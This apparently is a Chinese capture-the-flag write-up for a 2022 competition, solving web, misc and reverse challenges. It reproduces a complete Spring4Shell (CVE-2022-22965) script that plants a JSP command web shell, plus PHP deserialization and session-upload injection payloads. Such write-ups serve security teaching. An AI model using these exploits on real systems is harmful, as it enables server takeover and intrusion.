2022强国杯技术技能大赛东部晋级赛wp

Rank:13,被打爆了

web

md5_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header('Content-type:text/html;charset=utf-8');
highlight_file(__file__);



if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
show_source('le.php');
else
die("快了解MD5");
}else{
die("MMMMDDDD5555");
}

?>

md5弱比较,找一个加密前后都是0e开头的值

传入?md5=0e215962017

拿到le.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$file = $_GET['file'];
if(isset($file))
{
if( strpos( $file, "good" ) !== false || strpos( $file, "luck" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support flag and luck.";
}
}

?>

传入的值中要包含goodluck或者index

用伪协议读内容,用index/../flag绕过判断

最后传入?file=php://filter/convert.base64-encode/resource=index/../flag拿到flag

命令执行

通过报错页面得知是spring

github搜最新的spring rce

通过CVE-2022-22965POCgetshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}


def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)

# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)

# Changes take some time to populate on tomcat
time.sleep(3)

# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)

time.sleep(1)

# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)


def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")

file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url

filename = file_arg.replace(".jsp", "")

if url_arg is None:
print("Must pass an option for --url")
return

try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")

if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)


if __name__ == '__main__':
main()

PHP反序列化2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class main{
protected $ClassObj;

function __construct(){
$this->ClassObj = new easy();
}

function __destruct(){
$this->ClassObj->action();
}

}
class easy{
function action(){
echo "hello Hacker";
}
}
class evil{
private $file;
function action(){
eval($this->file);
}
}


if(isset($_GET['a'])){
$a = $_GET['a'];
if(stristr($a,'eval')!==False){
die('Hacker</br>');
}elseif (stristr($a,'flag')!==False) {
die('Hacker</br>');
}else{
unserialize($_GET['a']);
}
}else {
$user = new main();
highlight_file(__FILE__);
}
?>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class main{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
}
class evil{
private $file = 'system("cat /fla*");';
}
$user = new main();
echo urlencode(serialize($user));
?>

phpti

字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='admin')
{
include "r11.php";
}
else {
echo "hacker\n";
}
}
}
function filter($string){
return str_replace('phpinfo()','phpinfo()up',$string);
}
$uname=$_GET['admin']
$password=123456;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);

?admin=phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()phpinfo()%22;s:8:%22password%22;s:5:%22admin%22;}

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class admin
{
public $root;
function __destruct()

{
echo $this->root;
echo "3123123123123\n";
if ($this->root ==='print_r(scandir(dirname(__FILE__)));')
{
echo "123412341234";
}

}
function __toString(){
return "aaaaaaaa";
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /flag.php HTTP/1.1
Host: host:port
Content-Length: 369
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7Pufxj5tsIY9p2yA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=n480589952d85l2vvkeb01sh9g
Connection: close

------WebKitFormBoundary7Pufxj5tsIY9p2yA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
------WebKitFormBoundary7Pufxj5tsIY9p2yA
Content-Disposition: form-data; name="file"; filename="|O:5:\"admin\":1:{s:4:\"root\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain


------WebKitFormBoundary7Pufxj5tsIY9p2yA--

misc

不要被迷惑

筛选http协议的包,找到flag.zip

导出压缩包后爆破密码,得到123321

得到一串jjencode编码字符

1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$$+(![]+"")[$._$_]+$.$_$_+"\\"+$.__$+$.$__+$.$$$+"{\\"+$.__$+$._$_+$.$$$+"\\"+$.__$+$.__$+$.__$+"\\"+$.__$+$.$_$+$.$_$+$._+"\\"+$.__$+$.__$+$._$_+$.$$$_+"\\"+$.__$+$.$$_+$.__$+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$.__$+$.$$_+"\\"+$.__$+$._$_+$.___+"\\"+$.__$+$.$_$+$.___+(![]+"")[$._$_]+"\\"+$.__$+$.___+$.$_$+"\\"+$.__$+$.$$$+$.__$+"\\"+$.__$+$.$_$+$.__$+$.$$_$+"\\"+$.__$+$.__$+$.$__+"\\"+$.__$+$.___+$._$_+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$$+$.___+"\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$._$_+$.$$_+"\\"+$.__$+$.___+$.$$_+"\\"+$.__$+$._$_+$._$_+"\\"+$.__$+$._$$+$.__$+$.__+"\\"+$.__$+$.$_$+$._$$+"\\"+$.__$+$.$$_+$.$$$+"\\"+$.__$+$.__$+$._$$+"\\"+$.__$+$._$$+$.___+"\\"+$.__$+$.___+$.$__+$._$+"}"+"\"")())();

PCAP文件分析

flag.pcapng找到没用的flag.zip

02.pcapng提取出一个02.zip,一个2.png

2.png上看到压缩包密码Vu8#fI9,解压得到flag2.png

修改flag2.png高度得到flag

平正开

赛后复现

每一位取反后加一

1
2
3
4
5
6
7
8
9
10
f=open('aaa','rb')
d=f.read()
f=open('1.zip','wb')
for i in d:
if ord(i)==0:
f.write('\x00')
continue
print((ord(i)^0xff)+1,ord(i))
f.write(chr((ord(i)^0xff)+1))
f.close()

伪加密后得到一串社会主义核心价值观加密字符串,解密得到flag

reverse

re2

先用pyinstxtractor解包,找到test_obfuscated.pyc,反编译,得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
import pygame
import sys
import time
import random
difficulty = 25
frame_size_x = 720
frame_size_y = 480
check_errors = pygame.init()
pygame.display.set_caption('Lets Play')
game_window = pygame.display.set_mode((frame_size_x, frame_size_y))
black = pygame.Color(0, 0, 0)
white = pygame.Color(255, 255, 255)
red = pygame.Color(255, 0, 0)
green = pygame.Color(0, 255, 0)
blue = pygame.Color(0, 0, 255)
fps_controller = pygame.time.Clock()
snake_pos = [
100,
50]
snake_body = [
[
100,
50],
[
90,
50],
[
80,
50]]
f_body = [
[
40,
29],
[
40,
30],
...
...
...
[
624,
38]]
food_pos = [
random.randrange(1, frame_size_x // 10) * 10,
random.randrange(1, frame_size_y // 10) * 10]
food_spawn = True
direction = 'RIGHT'
change_to = direction
score = 0

def game_over():
OOOO000000O000OO0 = pygame.font.SysFont('times new roman', 90)
O000O0OO0OO0O0O0O = OOOO000000O000OO0.render('YOU DIED', True, red)
OOO00OO00O0O00O00 = O000O0OO0OO0O0O0O.get_rect()
OOO00OO00O0O00O00.midtop = (frame_size_x / 2, frame_size_y / 4)
game_window.fill(black)
game_window.blit(O000O0OO0OO0O0O0O, OOO00OO00O0O00O00)
show_score(0, red, 'times', 20)
pygame.display.flip()
time.sleep(3)
pygame.quit()
sys.exit()


def show_score(OO00000O0O000OO0O, O0O0O0OOOO000O000, O0O0000O00OO00OO0, O0O000OOOOOO00O0O):
O00O000000OO0O0OO = pygame.font.SysFont(O0O0000O00OO00OO0, O0O000OOOOOO00O0O)
O0O0O0O0O0O00O00O = O00O000000OO0O0OO.render('Score : ' + str(score), True, O0O0O0OOOO000O000)
O000O0OOOO000OO0O = O0O0O0O0O0O00O00O.get_rect()
if OO00000O0O000OO0O == 1:
O000O0OOOO000OO0O.midtop = (frame_size_x / 10, 15)
else:
O000O0OOOO000OO0O.midtop = (frame_size_x / 2, frame_size_y / 1.25)
game_window.blit(O0O0O0O0O0O00O00O, O000O0OOOO000OO0O)

for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_UP or event.key == ord('w'):
change_to = 'UP'
if event.key == pygame.K_DOWN or event.key == ord('s'):
change_to = 'DOWN'
if event.key == pygame.K_LEFT or event.key == ord('a'):
change_to = 'LEFT'
if event.key == pygame.K_RIGHT or event.key == ord('d'):
change_to = 'RIGHT'
if event.key == pygame.K_ESCAPE:
pygame.event.post(pygame.event.Event(pygame.QUIT))
if change_to == 'UP' and direction != 'DOWN':
direction = 'UP'
if change_to == 'DOWN' and direction != 'UP':
direction = 'DOWN'
if change_to == 'LEFT' and direction != 'RIGHT':
direction = 'LEFT'
if change_to == 'RIGHT' and direction != 'LEFT':
direction = 'RIGHT'
if direction == 'UP':
snake_pos[1] -= 10
if direction == 'DOWN':
snake_pos[1] += 10
if direction == 'LEFT':
snake_pos[0] -= 10
if direction == 'RIGHT':
snake_pos[0] += 10
snake_body.insert(0, list(snake_pos))
if snake_pos[0] == food_pos[0] and snake_pos[1] == food_pos[1]:
score += 1
food_spawn = False
else:
snake_body.pop()
if score == 1000:
game_window.fill(black)
for pos in f_body:
pygame.draw.rect(game_window, green, pygame.Rect(pos[0], pos[1], 1, 1))
pygame.display.flip()
time.sleep(10)
elif not food_spawn:
food_pos = [
random.randrange(1, frame_size_x // 10) * 10,
random.randrange(1, frame_size_y // 10) * 10]
food_spawn = True
game_window.fill(black)
for pos in snake_body:
pygame.draw.rect(game_window, green, pygame.Rect(pos[0], pos[1], 10, 10))
pygame.draw.rect(game_window, white, pygame.Rect(food_pos[0], food_pos[1], 10, 10))
if snake_pos[0] < 0 or snake_pos[0] > frame_size_x - 10:
game_over()
if snake_pos[1] < 0 or snake_pos[1] > frame_size_y - 10:
game_over()
for block in snake_body[1:]:
if snake_pos[0] == block[0] and snake_pos[1] == block[1]:
game_over()
show_score(1, white, 'consolas', 20)
pygame.display.update()
fps_controller.tick(difficulty)
continue

通过f_body变量中储存的坐标画图得到flag

1
2
3
4
5
6
7
from PIL import Image

img=Image.new('1',(1000,1000))
f_body=[...]
for i in f_body:
img.putpixel(tuple(i),255)
img.show()


2022强国杯技术技能大赛东部晋级赛wp
https://www.dr0n.top/posts/82e1297c/
作者
dr0n
发布于
2022年10月17日
更新于
2024年3月21日
许可协议